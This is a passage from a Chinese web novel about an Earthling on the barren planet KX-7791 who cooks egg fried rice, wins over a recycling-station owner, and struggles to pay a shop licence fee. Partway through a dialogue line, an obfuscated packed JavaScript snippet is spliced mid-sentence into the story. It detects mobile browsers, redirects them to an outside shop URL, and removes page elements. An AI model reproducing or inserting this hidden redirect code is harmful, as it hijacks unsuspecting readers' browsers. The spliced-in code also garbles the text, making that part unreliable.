但是他也看到了窗外那颗正在升起的暗红色卫星,看到了那片他亲手开垦的黑土地,看到了桌上那碗他亲手做出来的、用这颗星球上的食材、用一颗遥远星球上的古老智慧完成的蛋炒饭。 他睁开眼睛,低头看着锅里那盘橘色、金色和绿色交织的炒饭,嘴角慢慢地、慢慢地翘了起来。 “好吃。” 他的声音在空荡荡的小屋里响起,带着一点鼻音,带着一点颤抖,但是很坚定。 “真的好吃。” 他又舀了一口,这次吃得慢了一些,让米粒在嘴里多停留了一会儿,细细地咀嚼,认真地感受。然后他放下勺子,拿起多功能终端,打开了星网商户后台。 他的店铺“蓝星食铺”里,那个灰色的“不可售”标签还挂在那里。但是在标签的下方,在商品描述的文本框里,夏炎序开始打字。 他写道: “星米蛋炒饭。食材:KX-7791行星新鲜采收的优质星米,搭配蛋白合成糊、星葱和联邦标准精制盐,采用地球传统烹饪工艺手工制作。米饭粒粒分明,口感软韧适中,蛋香与葱香交织,咸淡适口。每一份炒饭均由本店店主亲手烹制,现做现售。” 他停了一下,又加了一行: “这是来自一颗叫做‘地球’的行星的味道。那颗行星已经不存在了,但是它的食谱还在。” 他盯着这行字看了一会儿,觉得有点太煽情了,想删掉,但是手指悬在删除键上方迟迟没有按下去。 最后他没有删。 他保存了商品信息,退出了星网,重新端起了那盘蛋炒饭。 在KX-7791的这个夜晚——两颗卫星都升到了天顶,银河像一条发光的河流缓缓流淌——夏炎序一个人坐在简陋的小屋里,用一把歪歪扭扭的木勺,吃完了整整一锅星米蛋炒饭。 他吃得很慢,每一口都认真地咀嚼,认真地感受。吃到一半的时候他去倒了一杯过滤水,回来继续吃。吃到只剩最后几口的时候,他刻意放慢了速度,让那些米粒在嘴里多停留了一会儿。 吃完之后,他靠在椅背上,仰头看着天花板上的那道裂缝,长长地呼出一口气。 胃里是温热的、充实的、满足的。 这是他在星际时代吃到的第一顿真正的饭。 他伸出手,看着自己磨破了皮的手掌、指甲缝里还嵌着的黑色泥土、手背上被晒出的红印,然后慢慢握成了一个拳头。 五十星币。 他需要五十星币来缴纳经营许可费。 他需要卖出大约四十二公斤的星米蛋炒饭——算上食材成本、能源消耗和包装费用——才能攒够那五十星币。 四十二公斤。听起来很多。但是他今天收获的星米总共有将近八十公斤。再加上速生小白菜和那些野生的星葱,他至少还能做几十份。 如果能卖出去的话。 如果能卖出去的话。 夏炎序站起来,走到窗前。窗外的KX-7791在月光下铺展开来,黑色的沃野延伸到天际,沉默而辽阔。远处的地平线上,他隐约能看到那片已经收获完的稻田的轮廓,以及更远处他还没有来得及开垦的、无边无际的荒原。 他忽然想起了一个在地球上看到的句子。那是某个纪录片里的旁白,他当时随便听了一耳朵,没有太在意。但是现在,在这个距离地球不知道多少光年的地方,那句话忽然清晰地浮现在他的脑海里: “人类的历史,就是一部饥饿的历史。而我们所有的文明,都建立在一顿饭的基础上。” 夏炎序把窗户推开一条缝。夜风带着泥土和野草的清冽气息涌进来,拂过他晒伤的脸颊。 他轻声说:“那就从一顿饭开始吧。” 星历2781年,第137个标准日。 在联邦星域图边缘的一颗无名荒星上,一个来自地球的异乡人,用一辆破拖拉机、两亩黑土地和一碗蛋炒饭,开始了他的故事。 而此刻,在千万光年之外的联邦核心星域,在那些灯火辉煌的星际都市和川流不息的太空港里,还没有任何人知道—— 一场关于味道的革命,正在宇宙的某个角落悄然酝酿。 蓝星食铺。 即将开业。 4. 第一份订单 吃完那锅蛋炒饭之后的第二天清晨,夏炎序是被一个刺耳的提示音吵醒的。 “嘀——嘀——嘀——” 多功能终端在床头柜上疯狂地震动着,屏幕发出的蓝白色光芒在昏暗的小屋里格外刺眼。夏炎序迷迷糊糊地伸手去摸,手掌上的伤口在接触到冰冷的终端外壳时传来一阵刺痛,让他瞬间清醒了大半。 他眯着眼睛看向屏幕。 【星网即时通讯】回收站老周发来了一条消息。 夏炎序愣了三秒钟。 然后他像触电一样从床上弹了起来,动作之剧烈导致腰部传来一声清脆的“咔吧”声,疼得他倒吸一口凉气。但他顾不上腰了,双手捧着多功能终端,眼睛死死地盯着屏幕上那行字,确认自己没有看错。 回收站老周。就是那个他用块根植物支付邮费、用土特产换来火花塞、慷慨赠予他蛋白合成粉的回收站老板。那个在星网回收站后台默默处理了他无数次奇葩订单、从来没有多问一句的人。 他的心跳开始加速。手指在屏幕上点了两次才点中那条消息——第一次因为手在抖,点偏了。 对话框加载了大概五秒钟——KX-7791的星网信号是通过轨道上的一个老旧中继卫星转发的,延迟高得令人发指——然后弹出了消息界面。 回收站老周的头像是一个卡通风格的回收机器人,圆滚滚的金属身体上画着两个无辜的大眼睛。消息内容只有一句话: “小伙子,星网给我推了‘你可能认识的人’,看你那个店铺的头像和你购买零件的头像是同一个,我就看了看你的店铺,你那个蛋炒饭看着挺诱人,可惜显示无法购买,什么时候开业啊,我到时候一定捧场。” 夏炎序盯着这条消息,嘴角不受控制地翘了起来。 老周叔主动找上门来了。 他几乎能想象出这个“老周”的样子——大概是一个在回收站里待了大半辈子的老师傅,见惯了各种奇奇怪怪的东西被当做废品进入他的回收站,但依旧会对新奇物品保持好奇心的一个人。 而好奇,是一切交易的开始。 夏炎序没有急着回复。他从床上下来,走到小屋的简易水槽前,用过滤水洗了把脸。冰凉的水拍在脸上,让他彻底清醒过来。他对着镜子——其实是多功能终端自带的摄像头翻转过来当镜子用——看了看自己:晒得发红的脸颊,因为睡眠不足而微微发青的眼圈,下巴上冒出了一层胡茬。 他看起来像一个在荒星上独自挣扎了三十天的落难者。 但他眼睛里有光。 夏炎序回到桌前,打开多功能终端,开始认真地回复这条消息。他打了删,删了打,反复修改了好几次,最终留下了一段话: “老周叔,开业还要等一会儿,不过可以您尝尝鲜,一会儿记得接快递。” 消息发送。夏炎序脚步轻快的走向他的厨房。 夏炎序准备花费一个上午的时间来准备这份将要寄出的蛋炒饭。 不是因为工序复杂——蛋炒饭的烹饪本身只需要十几分钟——而是因为他要确保每一环节都做到他目前条件下的最好。这不仅仅是一份免费的样品,这是蓝星食铺在正式开业前的第一次“对外亮相”,是他在星际时代的第一次“口碑传播”。他要让这碗炒饭不仅仅是一碗炒饭,而是一个让人无法忽视的信号。 他先重新煮了一锅星米饭。昨天那锅饭在炒制时水分控制得不错,但他觉得还有改进空间。星米这种作物跟地球的大米不太一样,它的淀粉结构更松散,吸水率更高,所以煮饭时的水量需要比地球大米少大约百分之十五。他昨天是按照记忆中煮米饭的习惯加水,结果煮出来的饭虽然粒粒分明,但略微偏软了一点——用来直接吃没问题,但用来炒饭的话,理想的硬度应该再高一些。 今天他调整了水量,减少了大约百分之二十。二十五分钟后,食物处理器发出提示音,他打开盖子,一股带着坚果香气的蒸汽扑面而来。橘色的米粒在灯光下晶莹剔透,他用勺子拨了一下——米粒之间松散不粘连,表面微微泛着油亮的光泽,用手指捏起一颗尝了尝,外皮有嚼劲,内里软糯,甜味比昨天更明显。 “就是这个。”他点了点头。 然后他开始准备配料。 星葱是他今天清晨刚从屋外的灌木丛里采摘的,带着露水,辛辣味比存放了几天的更足。他把星葱切成细碎的末,葱白部分切得细一些,用来爆香;葱绿部分切得稍粗,留到最后撒入,提供清新的香气和口感。 蛋白合成粉他按照一比二的比例用过滤水调开,用筷子快速搅打——他没有打蛋器,只能用一双自己削的木筷子——直到表面浮现出一层细密的气泡。回收站老周给他的这包蛋白合成粉虽然是最基础的类型,但调出来的糊状物质地居然相当不错,浓稠度和地球上的全蛋液非常接近。 他打开了那瓶从角落里翻出来的植物调和油。虽然标签磨损了,但星网扫描确认了它的身份:联邦标准级植物调和油,主要成分是泰伦星产的“星葵籽油”和半人马座阿尔法星域的“冷压草果油”。气味清淡,烟点较高,适合煎炒。他倒了一小碟出来,油质清澈透明,微微带一点淡金色。 盐还是那袋联邦标准精制盐。颗粒细腻,纯度很高,没有添加碘或其他矿物质。纯粹的咸味。 一切准备就绪。 夏炎序把那个自己敲出来的平底锅放在食物处理器的加热板上,打开加热模式,火力调到最大。他等了一会儿,把手放在锅面上方约十厘米的高度感受温度——这是他从地球带来的习惯,用手感知温度,而不是依赖数字显示。 当热量烤得他掌心微微发痛的时候,他倒入了大约两汤匙的油。 油很快在锅中流动起来,表面出现细微的波纹。他没有等油冒烟——那意味着温度过高了——而是直接撒入了切好的星葱白碎末。 “滋啦——” 声音比昨天更清脆,因为锅的温度控制得更精准。葱白的辛辣味在热油的激发下瞬间转化为浓郁的焦香,那股香气像一只无形的手,直接伸进了夏炎序的胸腔里,攥住了他的胃。 他迅速倒入调好的蛋白合成糊。 “滋啦——”又是一声响,蛋白糊在锅底迅速摊开,边缘在接触到热油的瞬间就开始凝固并泛起金黄色的边缘。他手腕一翻,用锅铲快速地将蛋白糊划散、翻炒,让它在凝固成块之前就被打散成不规则的碎块。这个过程只有大约十五秒——蛋白糊不能炒太久,否则会变老变硬,失去嫩滑的口感。 然后他把煮好的星米饭倒了进去。 橘色的米粒落入锅中,与金黄色的蛋白碎混合在一起。夏炎序用锅铲的背面将米饭轻轻压散,让成团的米粒分离开来,然后开始快速翻炒。他的手腕翻转,锅铲在锅底和锅壁之间划出流畅的弧线,米粒在热力的作用下被抛起、落下、再抛起,每一粒都均匀地裹上了油脂和蛋白碎的香气。 他撒了一小撮盐。不是直接撒在表面,而是将盐撒在锅铲上,再通过翻炒均匀地分布在每一粒米上。这样做的好处是咸味更均匀,不会出现一口咸一口淡的情况。 最后,在关火前的十秒钟,他撒入了星葱的绿末。葱绿不需要炒太久,只需要利用锅内的余温激发出香气即可,这样既能保留葱的辛香,又能保持翠绿的颜色。 翻炒三下。 关火。 他把锅从加热板上端下来,放在桌上。锅里的蛋炒饭在灯光下呈现出一种近乎不真实的色彩——橘色的米粒油亮晶莹,金黄色的蛋白碎点缀其间,翠绿的星葱末像星星一样散落在各处。热腾腾的蒸汽从炒饭表面升起,带着葱香、蛋香和米香的复合气味,在小屋里弥漫开来。 夏炎序站在桌前,看着这锅炒饭,满意地点了点头。 比昨天做得更好。 他找出了原主留下的几个食品封装盒——大概是原主用来存放营养液的——清洗干净并烘干。这种封装盒是星际时代的标准设计,透明的盒体,盖子内侧有一层纳米保鲜膜,合上盖子后会自动抽走盒内的空气并充入惰性气体,能在常温下保持不加防腐剂的食物新鲜长达三十个标准日。这在联邦核心星域是最普通不过的东西,但对于夏炎序来说,这简直是黑科技。 他把蛋炒饭分装进两个封装盒里。一份大约三百克,另一份也是三百克——他打算两盒都给老周快递过去,万一他那边有亲人朋友呢,之后再问问老周的吃后感,根据反馈调整配方,再决定正式上架时的分量和定价。 封装盒合上盖子,发出轻微的“嘶——”的一声,那是空气被抽走的声音。盒盖上的纳米保鲜膜自动激活,表面浮现出一层淡淡的银色光泽。 夏炎序拿起第一个封装盒,翻到背面,在标签栏里用多功能终端的触控笔歪歪扭扭地写下了几个字: “蓝星食铺·星米蛋炒饭·样品” 然后他打开了星网的“星际快递”小程序。 星际时代的快递,和地球上的快递完全是两个概念。 联邦核心星域的快递系统基于“微型空间折叠技术”——每一个标准快递舱都内置了一个微型空间折叠发生器,当快递舱被放置在寄送终端上时,发生器会与收件方附近的接收终端建立量子纠缠链接,然后在两个坐标之间制造一个持续时间不足0.3秒的微型虫洞。快递舱穿过虫洞,瞬间出现在收件方的接收终端上。 听起来像科幻小说。但在星历2781年,这项技术已经普及了超过六百年。联邦的快递网络覆盖了已开发星域的百分之九十七,从仙女座旋臂的边疆哨站到半人马座阿尔法星的商业中心,任何两个有快递终端的坐标之间都可以实现“秒级投递”。 当然,这项技术的价格也不便宜。 快递费的计算公式复杂得令人发指——距离、包裹重量、体积、目的地的基础设施等级、当前空间曲率稳定指数……一大堆参数揉在一起,最终得出一个让夏炎序这种穷人心惊肉跳的数字。 他输入了老周提供的地址:KX-7791轨道回收平台,第3号泊位,回收站办公区。 系统自动计算了快递费。 屏幕上弹出一行数字:12.8星币。 付款方式:□□,收货人付款。 夏炎序盯着那个数字看了十秒钟,他有点心虚,十二点八星币,应该对于正常的星际人来说只是毛毛雨吧,反正他是付不起。 他把封装盒放在了小屋门口的寄送终端上——一个直径约半米的圆形金属平台,是原主留下的基础物流设备。金属板感应到封装盒的重量,表面亮起一圈蓝色的光。夏炎序在终端上确认了寄送信息,选择了“□□”的支付方式。 终端屏幕上弹出一行字:“快递舱已分配。微型空间折叠准备就绪。是否确认投递?” 他的手指悬停在“确认”按钮上方,心脏砰砰地跳。 如果老周觉得不好吃,拒绝签收——那他就要承担来回运费。二十五点六星币。他现在连0.2星币都拿不出来,到时候这笔债就会挂在他的星网账户上,产生滞纳金,影响信用评级,然后—— 他深吸一口气,缓缓地吐出来,给自己催眠打气,二十五点六星币对于正常的星际人来说就是普通的毛毛雨。 然后他想起了刚才那碗蛋炒饭的味道。想起了第一口送进嘴里时,米粒在齿间崩开的那种感觉。想起了那股从胃部深处升腾起来的热度。想起了自己站在锅前,被葱花的香气扑了一脸时眼眶发酸的那个瞬间。 那种味道是真实的。那种感觉是真实的。 他不需要怀疑。 夏炎序按下了“确认”。 “嗡——” 寄送终端发出一阵低沉的嗡鸣声,蓝色的光芒开始快速闪烁。一个银灰色的快递舱从终端内部升起,自动张开舱门,将封装盒吞入其中。舱门闭合的瞬间,快递舱表面的符文状电路逐一亮起——那是空间折叠发生器的激活序列。 然后,一道肉眼可见的涟漪在快递舱周围的空气中扩散开来。不是声音,不是光线,而是空间本身在微微扭曲——像是有人在一块平整的布料上猛地抽了一根线头。涟漪的中心出现了一个针尖大小的黑点,黑点在零点几秒内膨胀到拳头大小,然后又急速收缩消失。 快递舱不见了。 整个过程持续了不到一秒钟。 夏炎序盯着空荡荡的寄送终端,眨了眨眼睛。 这就是星际快递。从KX-7791地表到四万公里外的轨道平台,从寄出到送达——不到一秒。 他的心跳又开始加速。 他盯着终端屏幕,等待着。一秒。两秒。三秒。五秒。 没有回复。 夏炎序站起来,在屋里走了两圈。又坐回去。又站起来。走到窗前看了一眼外面的黑土地。又坐回去。 他觉得自己像极了在地球上等待面试结果的那个下午。那种焦灼的、悬在半空中的、不知道下一秒是天堂还是地狱的感觉,一模一样。 十秒。十五秒。二十秒。 然后—— “嘀嘀嘀嘀嘀——” 多功能终端发出连续的提示音,屏幕上弹出了一连串的消息通知。夏炎序被这突如其来的密集提示音吓了一跳,差点把终端摔在地上。 他低头看去。 【星网即时通讯】回收站老周发来了一条消息。 【星网即时通讯】回收站老周发来了一条消息。 【星网即时通讯】回收站老周发来了一条消息。 【星网即时通讯】回收站老周发来了一条消息。 【星网即时通讯】回收站老周发来了一条消息。 五条消息。连续不断的。 夏炎序的手指微微发抖,点开了对话框。 回收站老周 09:51:?????? 回收站老周 09:51:你这里面放的是什么?? 回收站老周 09:51:快递费十二块八,值了!值了!! 回收站老周 09:52:小伙子你给我说清楚,你到底是怎么做的?? 回收站老周 09:52:我吃了四十年的营养液和合成食品,从来没吃过这种东西!!!这个味道!!这个口感!!这个米粒怎么会一粒一粒这么清楚??那个草的味道怎么会这么香??哪个星球上特产的香草?? 然后是一条语音消息。夏炎序犹豫了一下,点开了。 “小伙子!!!” 老周的声音从终端里传出来,声音大得让夏炎序下意识地把终端往远处拿了一点。那是一个中年男人的嗓音,沙哑中带着一种难以抑制的激动,像是发现了什么不可思议的事情。 “你给我解释清楚!这到底是什么东西!快递舱刚到我手上,我拆开盒子的时候就闻到一股味道,香得我以为是隔壁在做饭——不对,隔壁没有人——香得我以为我的嗅觉模块出了故障!我尝了一口,一口!然后我就停不下来了!我现在已经把整盒都吃完了!我四十年没吃过这种东西!营养液算什么!那些高级餐厅的合成大餐算什么!你这个——你这个——” 语音在这里停顿了一下,然后是一声沉重的、带着情绪的深呼吸。 “你这个炒饭,它吃起来像……像是有温度的东西。像是一个活人做出来的东西。你明白我的意思吗?” 语音结束了。 夏炎序拿着终端,坐在桌前,嘴角翘得老高。 他深吸一口气,开始打字回复。这一次,他没有反复修改,因为他的心里已经有了确定的答案。 “老周叔,谢谢您。这个炒饭的做法,我没办法在消息里说清楚,因为它不是靠配方,而是靠手法和火候。但我可以跟您保证,这不是什么高科技,这是我老家的一种很古老的烹饪方法。您要是喜欢,我下午再给您寄一份,那一盒大概是一个人午饭的量,吃多了容易积食。不收钱。就当是……就当是我在KX-7791上交的第一个朋友。” 发送。 这次回复来得很快。 回收站老周 09:54:不收钱?不行。你那个炒饭的成本虽然不高,但你的手艺值钱。我不能白要。 回收站老周 09:54:这样吧,你在回收站买工具和零件的时候,我给你算便宜点。另外,你这个炒饭要是打算在星网上卖,我帮你宣传宣传。我在这个圈子里待了四十年,认识的人不少。 回收站老周 09:55:还有,你这饭里我好像尝出了似曾相识的味道,是我给你的蛋白粉吗,你那个蛋白合成粉快用完了吧?我再给你寄几包。这次不收你的块根了,你那块根硬得跟石头似的,我的牙齿不是用来啃树皮的。 回收站老周 09:55:对了,你那个店铺叫什么来着?蓝星食铺?你赶紧把流程走完正式开业,把商品上架。我要第一个下单。 夏炎序看着屏幕上这四条消息,鼻子忽然有点酸。 在距离地球不知道多少光年的地方,在宇宙边缘的一颗荒星上,他刚刚交到了第一个朋友。 不是通过什么高端的社交场合,不是通过什么复杂的利益交换,而是通过一碗蛋炒饭。 一碗他自己种的米、自己采的葱、自己敲的锅、自己炒出来的蛋炒饭。 他回复道: “谢谢老周叔。蓝星食铺的注册流程我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420241|200807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会尽快走完。等我正式开业了,第一份正式订单给您打一折。” 回收站老周 09:57:打什么折!原价买!你那个炒饭值什么价就定什么价,别因为我是第一个就给我打折。我做生意这么多年,最烦的就是人情价。你定个合理的价格,我掏钱买,就这么简单。 夏炎序笑了。 “好。那就原价。老周叔,等我再改进一下配方,争取做得更好。” 回收站老周 09:58:还能更好??? 这条消息后面跟着一个表情符号——一个回收机器人的卡通形象瞪大了眼睛,嘴巴张成了一个“O”形。 夏炎序回复了一个他自己画的表情——一个蓝色的圆球(地球),旁边写着“加油”两个字。 然后他关掉了对话框,深深地吸了一口气,仰头靠在了椅背上。 天花板上那道裂缝还在。 但此刻,那道裂缝看起来不像一道裂缝了。它看起来像一条路。 一条从一个荒星出发的、蜿蜒向整个星际联邦的路。 夏炎序闭上眼睛,嘴角带着笑意,开始在脑海中规划接下来的步骤。 第一步:攒够50星币的经营许可费。他现在有大约五十公斤的星米库存,速生小白菜和星葱可以继续采收。老周愿意帮他宣传,但这需要等到店铺正式开业之后。在此之前,他需要先凑够那50星币。 第二步:正式注册蓝星食铺,商品上架。上架之后,他需要吸引更多的顾客。老周帮忙宣传是一个好的开始,但光靠一个人是不够的。他需要想办法让更多的人知道“蓝星食铺”这个名字。 第三步:扩大种植规模。两亩地远远不够。他需要开垦更多的土地,种植更多的作物。星米是主食,但他还需要更多的配菜和调味品。他想念酱油,想念醋,想念辣椒,想念花椒,想念姜,想念蒜——这些地球上最基础的调味品,在星际时代能找到替代品吗? 第四步:改善设备。一个自己敲出来的锅和一个基础型食物处理器,做出来的蛋炒饭虽然已经让老周惊艳了,但如果要扩大产量、丰富菜单,他需要更好的工具。更好的锅、更精准的温控设备、更高效的食材处理设备……这些都需要星币。 第五步:…… 夏炎序想到这里,忽然睁开眼睛,笑了一下。 第五步什么的,先不想了。 先把第一步走好。 他站起来,走到窗前,推开窗户。KX-7791的下午阳光洒进来,暖橙色的光线照在他的脸上,驱散了小屋内的昏暗。远处,那片已经收获完的星米田在阳光下静静地躺着,黑土地被翻开的表面泛着湿润的光泽。更远处,他还没有开垦的荒原在微风中起伏,野草和灌木丛在风中沙沙作响。 这是一颗沉睡了几十亿年的行星。在他到来之前,这里没有人类的声音,没有炊烟,没有灯火,没有食物的香气。 但是现在,有了一碗蛋炒饭。 夏炎序伸手摸了摸窗台上那盆他随手插下的星葱——切下来的根部没扔,随手插在了一个装土的旧罐子里,居然真的活了,嫩绿的新芽从土里钻出来,带着一股倔强的生命力。 “行啊,”他对那棵星葱说,“你也活下来了。” 星葱在风中晃了晃叶子,像是在回应。 夏炎序转过身,走向那袋星米,开始计算下一批炒饭的产量和成本。他的多功能终端屏幕上,蓝星食铺的后台页面还开着,那个灰色的“不可售”标签在阳光下显得不那么刺眼了。 他知道,用不了多久,那个标签就会变成绿色。 “可售。” 而在四万公里之外的轨道回收平台上,一个头发花白的中年男人正坐在堆满废旧零件的操作台前,盯着面前两个已经空了的封装盒发呆。 他的嘴角还残留着一粒橘色的米粒。 他没有擦掉。 他已经在这个回收平台上工作了四十三年。每天的工作就是拆解报废的飞船零件、分类回收材料、和那些冰冷的金属打交道。他的食物是联邦配给的标准营养液——一天三瓶,偶尔加一瓶高能型的当宵夜。四十三年,他从来没有觉得有什么不对。营养液嘛,补充营养就够了,要什么味道? 直到几分钟前,他收到了那个快递舱。 快递舱在他面前的接收终端上出现的瞬间,他还在整理一份废旧引擎的零件清单。他漫不经心地拆开舱门,拿出那个封装盒,看到标签上歪歪扭扭的字迹:“蓝星食铺·星米蛋炒饭·样品”。 然后他打开了盒子。 那股香气扑出来的时候,他以为自己的嗅觉模块出了故障。他在这破地方待了四十三年,怎么可能闻到这种味道?那是一种温暖的、复杂的、带着某种他无法用语言描述的东西的气味。不是营养液那种单一的、化学合成的“风味”,而是层层叠叠的、有深度的、仿佛在讲述一个故事的香气。 他拿起勺子,舀了一口炒饭,送进嘴里。 然后他愣住了。 他的大脑在那一瞬间同时处理了太多的信息——温度、质地、口感、味道、余韵——以至于他的思维系统短暂地过载了。米粒在齿间崩开时的触感,蛋白碎在舌尖上融化时的柔滑,葱香在鼻腔中扩散时的辛辣与清新,盐分恰到好处地激发出所有食材本味的那个精准的平衡点—— 他吃了第二口。 然后是第三口。 然后他发现自己已经停不下来了。勺子自动地、机械地、一勺接一勺地往嘴里送,直到盒子见底,他又开了另一盒。他甚至用勺子刮了刮盒子的内壁,把最后几粒米也送进了嘴里。 吃完之后,他把勺子放在桌上,盯着空盒子看了整整三十秒。 然后他拿起多功能终端,开始打字。 他打了五条消息。发了一条语音。然后又在操作台前坐了一会儿,拿起那个空盒子翻来覆去地看。盒子的标签上歪歪扭扭地写着那几个字,字迹潦草得像小学生写的,但那种认真劲儿——每一笔都用力地刻在了标签纸上——让人没法忽视。 老周把盒子放在操作台上最显眼的位置,然后打开了星网,开始搜索“蓝星食铺”。 搜索结果为空。店铺还没有走完注册流程,没有正式开业,在星网公开搜索中不可见,他只能通过好友列表跳转到好友店铺,才能看见那奇特的食铺,系统自带的免费装修,店门口挂了用星际通用文书写的“蓝星食铺”,上面还有第二大语种仙女座的文字书写了一遍,还有第三遍,老周没看出来是哪个星座的文字,但估计是个小地方,毕竟他常年做回收,他没见过的文字还真是不多见。 他又搜索了“地球”。 搜索结果弹出来一堆关于“地核勘探”“地壳运动”和“行星地质学”的学术论文。还有一个古老的词条:“地球,太阳系第三行星,人类起源地。在公元纪元约2200年因太阳活动异常导致生态崩溃,人类撤离后列入联邦保护名录,现为禁止进入的遗迹行星。” 老周盯着那个词条看了很久。 “人类起源地,”他低声念了一遍,然后转头看向操作台上那个空盒子。 “来自一颗蓝色行星的味道。” 店铺简介里的那句话浮现在他的脑海中——他在商品预登记页面上看到的。 老周沉默了一会儿,然后拿起多功能终端,给自己的几个老客户和朋友发了消息。 消息的内容很简单: “老伙计们,我刚刚吃到了我这辈子最好吃的东西。不是什么高级餐厅,不是什么名厨做的,是KX-7791上一个开食铺的小伙子做的蛋炒饭。他的店还没正式开业,等开业了我第一时间通知你们。谁要是不去尝尝,以后别来找我淘零件。” 然后他又加了一句: “对了,那个小伙子用的蛋白合成粉还是我送他的。我骄傲。” 发完消息,老周靠在自己的椅背上,双手交叉放在脑后,看着回收平台外面广袤的星空。 四万公里下方的KX-7791在星空中只是一个不起眼的小点,橘黄色的地表在黑色宇宙的背景下微微发光。 那个小点上,有一个年轻人,用一口自己敲出来的锅,做出了一碗让四十三年的味觉记忆全部重新启动的蛋炒饭。 老周忽然觉得,自己在回收站工作的这四十三年,好像终于等到了什么有意思的事情。 他拿起那个空盒子,又看了一眼。 盒子的角落里,还有一粒橘色的星米。他小心地把它捡起来,放进嘴里。 嗯。 就是那个味道。 老周闭上眼睛,嘴角翘了起来。 5. 五十星币的难题 老周的赞美像一剂强心针,让夏炎序亢奋了整整一个下午。 他甚至在田埂上多开垦了半亩地,把那辆破拖拉机的最后一点寿命都榨了出来——排气管冒出的黑烟越来越浓,引擎的咆哮声里夹杂着某种金属摩擦的尖啸,像是在用最后的力气呐喊。夏炎序一边开一边在心里给这台老伙计道歉:对不住了,等我挣了钱,给你换零件,给你做保养,给你刷一层新漆。 傍晚时分,他拖着灌了铅似的双腿回到小屋,一屁股坐在桌前,打开多功能终端,准备再看看蓝星食铺的后台页面——哪怕只是看看那个灰色的“不可售”标签,也能给他一点动力。 然后他看到了星网商户后台首页上那行加粗的红色提示: “您的店铺尚未缴纳经营许可费(50星币/月),当前状态:不可搜索、不可交易。请及时缴费,以免影响正常经营。” 五十星币。 这个数字像一盆冰水,把他从头浇到脚。 他今天所有的亢奋、所有的憧憬、所有的“蓝图规划”,都建立在一个默认的前提上——他能开店。他能在星网上把蛋炒饭卖出去。他能用收入覆盖成本,然后扩大生产,然后一步步走下去。 但如果连这五十星币的门槛都跨不过去,一切都是空谈。 他不能开店,就不能卖东西。不能卖东西,就没有收入。没有收入,就付不起五十星币的开店费。 死循环。 夏炎序靠在椅背上,盯着天花板上那道裂缝,大脑飞速运转。 他现在的资产清单如下: 一、大约四十八公斤优质星米(这两天又吃掉了一些)。按照市场价,如果能卖出去,大概能换五十七六星币。但他不能卖——他没有开店,没有销售渠道。星网上的个人对个人交易需要实名认证和交易许可,这两样东西他都办不了,因为他的身份是“荒星开发者”——一个在联邦行政体系里处于最底层的、几乎没有任何商业权限的身份。 二、大约三十公斤速生小白菜。这东西在星际时代是极其普通的作物,联邦农业公司的规模化种植成本低到每公斤0.1星币,他的小白菜虽然品质不错,但没有品质认证,根本卖不上价。 三、一辆随时可能报废的拖拉机。 四、一口自己敲出来的铁锅。 五、0.2星币。 他试着在星网上搜索“荒星开发者如何获取商业资质”,弹出的答案让他心凉了半截。 联邦《荒星开发管理条例》第2307条明确规定:荒星开发者在完成“首次基础设施评级”之前,不得从事任何营利性商业活动。首次基础设施评级包括:星球地表建筑认证、能源供应系统检测、星际物流终端安全评估——三项加起来,最低费用是3000星币。 三千。 不是五十。 夏炎序关掉了那个页面,感觉自己的太阳穴在突突地跳。 原主到底是哪来的勇气花光所有积蓄认领这颗星球的?这个问题他已经问过自己无数遍了,每次都没有答案。也许原主是一个极致的躺平主义者——与其在核心星域租房打工,不如来一颗荒星上当名义上的“星球主”,反正联邦的救济营养液在哪里都能领到。也许原主有什么他不知道的计划。也许原主只是……单纯地不想活了。 不管怎样,现在承受后果的是他。 夏炎序闭上眼睛,强迫自己冷静下来。 一定有办法的。一定有。 他开始重新审视自己所有的“资源”,包括那些不起眼的、他之前没有认真考虑过的东西。 首先,老周。 老周愿意帮他宣传,但前提是他能开店。老周愿意给他打折买零件,但那也是开店之后的事。老周能借给他五十星币吗?夏炎序摇了摇头——他不会开口借钱,尤其是在没有任何抵押物的情况下。而且老周已经帮了他够多了。 其次,星米。 他手里有四十八公斤优质星米,但这东西不能直接卖——他没有销售资质。等等,不能“卖”,但是能“送”吗? 夏炎序的思路开始活跃起来。 联邦法律禁止的是“营利性商业活动”,但私人之间的馈赠、交换、以物易物,在不涉及货币交易的情况下,属于个人行为,不在管制范围内。这是他之前翻《荒星开发管理条例》时注意到的一条细则——当时他只是随便看了一眼,没有太在意,因为他的目标是开店卖东西,不是搞以物易物。 但现在,这条细则突然变得闪闪发光。 以物易物。 他不能用星米换星币,但他可以用星米换别的东西。比如——换别人帮他付那五十星币的经营许可费。 这个念头冒出来的瞬间,夏炎序的大脑就像一台被重新启动了引擎的机器,开始高速运转。 怎么操作?他需要一个有商业资质的人——一个可以在星网上合法交易的人——帮他在星网上卖星米,然后用卖得的星币帮他缴纳经营许可费。作为交换,他付给对方一定比例的佣金,或者用星米抵扣。 这不就是代销吗? 夏炎序越想越觉得这条路可行。他不需要直接参与商业活动,他只是在“以物易物”——用星米换取“代销服务”。而对方有合法的商业资质,可以正常在星网上销售星米。 问题只有一个:他认识的人里,谁有商业资质? 老周。 回收站老板。经营一个轨道回收平台,必然有完整的商业资质和星网商户账号。而且老周就在KX-7791的轨道上,物流成本极低——快递从地表到轨道只要十二块八,而从轨道平台发往联邦其他星域,走的是正规星际物流通道,比从地表发货便宜得多。 夏炎序的手指开始在桌面上有节奏地敲击。 他需要说服老周帮他做这件事。不是免费的——他可以用星米支付佣金,或者在蓝星食铺开业后给老周永久折扣,或者其他什么方式。关键是,老周愿不愿意。 他犹豫了一下,然后打开了和老周的对话框。 “老周叔,您在吗?” 回复来得很快,像是老周一直在等他的消息。 回收站老周 18:23:在。怎么了?炒饭又做多了? 夏炎序笑了一下,打字道: “不是。老周叔,我想跟您商量个事。我想开店,但是付不起50星币的经营许可费。我手里有大概五十公斤优质星米,想请您帮我在星网上代销,卖了之后用佣金帮我交开店费。您看行吗?” 发送。 